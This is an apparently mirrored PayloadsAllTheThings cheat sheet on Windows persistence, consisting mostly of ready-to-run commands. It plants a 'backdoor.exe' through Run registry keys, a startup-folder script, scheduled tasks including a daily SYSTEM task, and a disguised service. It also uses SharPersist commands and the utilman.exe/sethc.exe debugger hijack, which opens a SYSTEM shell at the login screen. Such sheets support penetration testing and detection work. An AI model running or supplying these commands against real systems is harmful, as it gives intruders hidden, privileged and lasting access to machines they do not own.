mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
141 lines
4.1 KiB
Markdown
141 lines
4.1 KiB
Markdown
# Windows - Persistence
|
|
|
|
## Summary
|
|
|
|
* [Tools](#tools)
|
|
* [Userland](#userland)
|
|
* [Registry](#registry)
|
|
* [Startup](#startup)
|
|
* [Scheduled Task](#scheduled-task)
|
|
* [Elevated](#elevated)
|
|
* [HKLM](#hklm)
|
|
* [Services](#services)
|
|
* [Scheduled Task](#scheduled-task)
|
|
* [RDP Backdoor](#rdp-backdoor)
|
|
* [References](#references)
|
|
|
|
|
|
## Tools
|
|
|
|
- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
|
|
|
|
## Userland
|
|
|
|
### Registry
|
|
|
|
Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.
|
|
|
|
```powershell
|
|
Value name: Backdoor
|
|
Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
|
|
```
|
|
|
|
Using SharPersist
|
|
|
|
```powershell
|
|
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
|
|
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
|
|
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
|
|
```
|
|
|
|
### Startup
|
|
|
|
Create a batch script in the user startup folder.
|
|
|
|
```powershell
|
|
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
|
|
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
|
|
```
|
|
|
|
Using SharPersist
|
|
|
|
```powershell
|
|
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
|
|
```
|
|
|
|
### Scheduled Task
|
|
|
|
```powershell
|
|
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
|
|
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
|
|
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
|
|
PS C:\> $S = New-ScheduledTaskSettingsSet
|
|
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
|
|
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
|
|
```
|
|
|
|
Using SharPersist
|
|
|
|
```powershell
|
|
# Add to a current scheduled task
|
|
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
|
|
|
|
# Add new task
|
|
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
|
|
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
|
|
```
|
|
|
|
## Windows Service
|
|
|
|
Using SharPersist
|
|
|
|
```powershell
|
|
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
|
|
```
|
|
|
|
## Elevated
|
|
|
|
### HKLM
|
|
|
|
Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.
|
|
|
|
```powershell
|
|
Value name: Backdoor
|
|
Value data: C:\Windows\Temp\backdoor.exe
|
|
```
|
|
|
|
### Services
|
|
|
|
Create a service that will start automatically or on-demand.
|
|
|
|
```powershell
|
|
PS C:\> New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here."
|
|
```
|
|
|
|
### Scheduled Tasks
|
|
|
|
Scheduled Task to run as SYSTEM, everyday at 9am.
|
|
|
|
```powershell
|
|
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
|
|
PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
|
|
PS C:\> $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
|
|
PS C:\> $S = New-ScheduledTaskSettingsSet
|
|
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
|
|
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
|
|
```
|
|
|
|
### RDP Backdoor
|
|
|
|
#### utilman.exe
|
|
|
|
At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.
|
|
|
|
```powershell
|
|
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f
|
|
```
|
|
|
|
#### sethc.exe
|
|
|
|
Hit F5 a bunch of times when you are at the RDP login screen.
|
|
|
|
```powershell
|
|
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f
|
|
```
|
|
|
|
|
|
## References
|
|
|
|
* [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/)
|
|
* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)
|
|
* [SharPersist Windows Persistence Toolkit in C - Brett Hawkins](http://www.youtube.com/watch?v=K7o9RSVyazo) |